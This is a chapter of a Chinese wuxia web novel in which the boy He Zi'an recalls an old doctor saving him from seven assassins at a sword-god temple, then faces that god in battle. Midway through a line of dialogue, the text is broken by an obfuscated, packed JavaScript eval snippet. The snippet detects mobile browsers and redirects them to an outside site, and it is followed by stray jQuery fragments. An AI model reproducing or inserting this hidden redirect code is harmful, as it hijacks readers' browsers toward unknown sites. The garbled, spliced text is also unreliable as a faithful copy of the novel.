71. 花开花落·其二

作品:《穿书魔女之邪道速通

    贺子安第一次见到那张脸的时候就哭了。那时候贺家正如日中天,每年还保留有前往平安院参拜的惯例。贺家在五月的时候举家出行,抵达武陵城时,刚好是桃子成熟的时节。他们就在这个时候,前往平安院。


    贺子安第一次上马首山,就是和母亲一起。出发得很突然,整个行程也很略显匆忙。母亲领着他,穿过了每一个中轴线上的宫殿,但从未驻足停留。直到走到了剑神殿,贺子安才从迷迷糊糊的状态中清醒。母亲也是这个时候不见的。


    四尊威严的雕像圆睁着双眼,直瞪着他。尚且年幼的贺子安稀里哗啦地哭了出来。


    “小家伙,怎么了。”一个老婆婆将手放在了贺子安的头顶,关切地问道。


    “这四个爷爷,”贺子安指着雕像,“好可怕。”


    老婆婆笑了。“他们是受人景仰的剑神。上到皇子,下到百姓,都来祈福。你怎么说他们可怕呢?”


    “他们就是剑神吗?”贺子安懵懂地问。


    老婆婆点头。


    贺子安再仰头看向四尊雕像。从左向右,依次是“风剑”贾东野,“雷剑”王子美、“水剑”刘梦得以及“火剑”王文房。他们神态形体各异,唯一相同的就是浑身上下散发出来的威势与压迫感。


    重新看向那几对眼睛,似乎变得柔和了不少。刚刚还让他新生畏惧的雕像,此刻却好像有了些神性的光辉。


    “他们很厉害吗?”


    老婆婆看着贺子安的眼睛,依旧是笑着说:“多多少少有些本领吧。”


    “那我以后能比他们厉害吗?”


    “努力看看吧。”


    阳光漫入大殿,一个身强力壮的年轻人也在这个时候出现。年轻人踩实了门槛,双唇抿紧、神情肃穆地入了殿来。


    他本来要走向雕像的另一边,看见老婆婆后又改换了方向。他来到近旁,压低了声音招呼道:“曲大夫,早啊。”


    曲芃没有摆出年长者的架子,平和地回应道:“你也早,马长老。”


    “您可别这么叫我。”年轻人挠挠脖颈,不好意思地说:“叫我小洪就行了。上次脚伤的事,还要谢谢您呢。”


    “做大夫的治病,有什么谢不谢的。”曲芃不以为意,问道:“这么早,就自己一个人上来巡查了么?”


    “是呀。”马洪有些丧气地与曲芃诉苦道:“院里前些日子遭了贼,我给帮主提了,说要给平安院加强守备。结果帮主不同意。”


    “辛苦你了。”


    “不辛苦。”马洪立即调整好了自己的情绪,露出了一个连贺子安也觉得夸张的笑容。不过那的确是会让人觉得安心的笑容。马洪弯曲手臂,拍了拍自己的肱二头肌,昂首道:“您放心,有小洪在,以后就不会有人作恶了。”


    “哥哥你比这几个老爷爷还厉害吗?”贺子安蓦地发问。


    马洪做出了仰头大笑的动作,却克制住没有出声。他在贺子安的面前蹲下,说:“哥哥可差远啦。”


    “那你怎么惩治那些在这里偷盗,连剑神都不怕的坏人。”


    “你加把油,争取以后也成为像剑神大人那样,能够安定天下的人。由你来惩治那些连剑神都不怕的恶人。”马洪伸出了小指,说:“在那之前,哥哥会先撑着的。”


    与贺子安拉过钩。马洪站起身,问:“这是这个小家伙怪机灵的,是曲大夫新收养的吗?”


    “他和自己的母亲走散了。”曲芃说,“我正要领她去寻呢。”


    “需要我帮忙吗?”


    “不用了,孩子的母亲应该还没走远。”曲芃拉起贺子安的手,说:“你还有一整个平安院要照料,他就交给我吧。”


    “如果需要,请一定告诉我。”马洪殷切地说,“武陵城里我们的人手多,寻起来也快些。”


    剑神殿与马洪分别后,曲芃牵着贺子安,从殿前右手边的楼梯往下。朝着平安院里偏离中轴线的辅道前行。


    “婆婆你比他们还厉害吗?”


    “谁?刚才那个大哥哥吗?”曲芃解释说:“哥哥是丐帮的大侠,婆婆是大夫。我们是不一样的。”


    贺子安摇头。“不是。我是说剑神殿里那几个老爷爷。”


    “为社么会这么觉得呢?”


    “因为感觉婆婆你完全不害怕他们,”贺子安仰头看向曲芃:“不像那个哥哥。”


    “婆婆老啦。”曲芃带着贺子安走向辅道的桃树边上,抬手摘了一颗红透了的桃子,说:“老了,眼睛看不清,自然就不害怕了。”


    “为什么眼睛会看不清。”


    “应该也是因为老了吧。”曲芃把桃子在衣裳上擦了擦,说:“不过婆婆虽然眼睛花了,心里可是明得很。”


    贺子安不解其意,只是看着红彤彤的桃咽了口唾沫。


    “各位大侠,都到这里了,不如现身吧。”曲芃一改温煦的语气,淡漠地说:“这里没人,不用再躲躲藏藏。”


    房屋的转角处,房檐的背面。身材精壮的男人一个接一个露头,统共五个人,站到了曲芃与贺子安的对面。


    “不知几位大侠是找老婆子看病,还是找这位小友。”


    “老太婆,别多事。乖乖的把这个小孩交给我们。”一个魁梧异常的男人振声道。


    “师弟无礼,还望婆婆见谅。既然您能发现我们,那一定也是江湖中人。”旁边矮小一些的男人立即拉住了他,和气地说:“我们无意与您有冲突,您只需要把这位小友交给我们便好。”


    “这孩子的母亲呢?”


    矮小的男人看向另一个方向。那里又走出另外二人,他们的衣裳、长剑上,都是将将沾染上的鲜血。


    “碎星剑也没在那个女人身上。”刚走出来的男人说,“我看还是只有带走这小子,才能逼姓贺的交出碎星剑。”


    矮小的男人又看向曲芃,不紧不慢的说:“婆婆,南岛上大名鼎鼎的贺家你应该知晓。”


    “略有耳闻。”


    “那就好办了,我们和贺家四杰已经打过招呼。”男人笑着说:“这个小友就是贺家家主之子,还请把他交给我们。”


    曲芃蹲下身子,视线与贺子安平齐。“婆婆还没问你叫什么名字呢?”


    “贺子安。”


    “婆婆你叫什么名


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319315|179945||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    字?”


    曲芃想了想,说:“太久了,婆婆已经忘了。”


    “婆婆生病了吗?”贺子安抹了抹曲芃的额头,奶声道:“刚才在殿里,那个哥哥还叫您曲大夫。”


    “婆婆不骗小孩。”曲芃伸出苍老的手,捋了捋贺子安的头发,又说:“贺家以后可能会变得很艰难。但是你要忍耐、自持。”


    贺子安看向那七个男人的方向,说:“我不想和他们走,感觉他们很可怕。我要找我的母亲。”


    “你不用跟他们走。”曲芃轻声说。


    “老东西,你不要敬酒不吃吃罚酒!”魁梧的男人怒骂道。


    “堂堂的长生殿‘七星’。天枢、天璇、天玑、天权、玉衡、开阳、摇光。”曲芃的目光变得冷峻,“现在却要与一个小孩为难。”


    “这个老家伙,果然不简单。”眼睛细长的男人发出了尖细的笑声。


    “既然您已经知道我们的身份,那便不能任您离去了。”矮小的男人一如既往地平静、沉稳,“我们给过您机会。”


    “烟雨七子与你们齐名,真是她们最大的耻辱。”曲芃望天,长出一口气,说:“长生殿这些日子过得太舒坦,偶尔也要动动筋骨才好。”


    曲芃把鲜红的桃子塞到贺子安的手中,起身。一只手掌蒙住了贺子安的眼睛,轻声说:“在心里默数七下再睁开眼。”


    那个手掌满是褶皱,硌得贺子安生疼。不过却让他感觉很温暖、很安心。


    那天贺子安一直没敢睁眼,也不清楚到底过了多久。


    “子安!”


    贺子安先是听见了父亲的呼唤,然后感受到一如既往温暖的拥抱。贺子安睁开眼睛,远处七个男人跪作一排,面朝剑神殿的方向。


    他们双手合十,虔诚无比。七窍流血,鲜血淋漓。


    贺子安低头,父亲的右臂空荡荡的。那个刚毅的男人脸上满是泪水。


    那天父亲一直不断地重复同一句话。


    “是父亲没用,是父亲对不起你们。”


    *


    那个剑神殿的神,正以贺子安记忆中的姿态接近。


    事隔经年,贺子安的心中仍旧恐惧。但他已经不再是从前那个只会哭泣,等着别人解救的男孩。


    领着自己前行的母亲,抚平内心惊骇的婆婆,都不会出现了。庆幸的是,现在他的身边有了其他值得托付的人。


    椒图正一点一点地破碎,贺子安正做着最后的努力。


    我能够做到吗?贺子安自问。不,我必须要做到。哪怕只是维持椒图的形状,哪怕椒图会在刘梦得斩杀自己的前一刻碎裂,自己也要坚持住。重要的不是剑与盾的胜负,重要的是地点。


    “加把油,小家伙!成为了不起的家伙。”年轻的男人说,“在那之前,我会撑着的。”


    “你要忍耐,自持。”


    “婆婆,哥哥,我很努力了。”贺子安说。


    当年母亲领着自己,在最后时刻抵达剑神殿,把唯一的生机留给自己时,是怎样的心情呢。贺子安看着稀稀拉拉落下的碎刃,又一次想起了这个他思考过无数次的问题。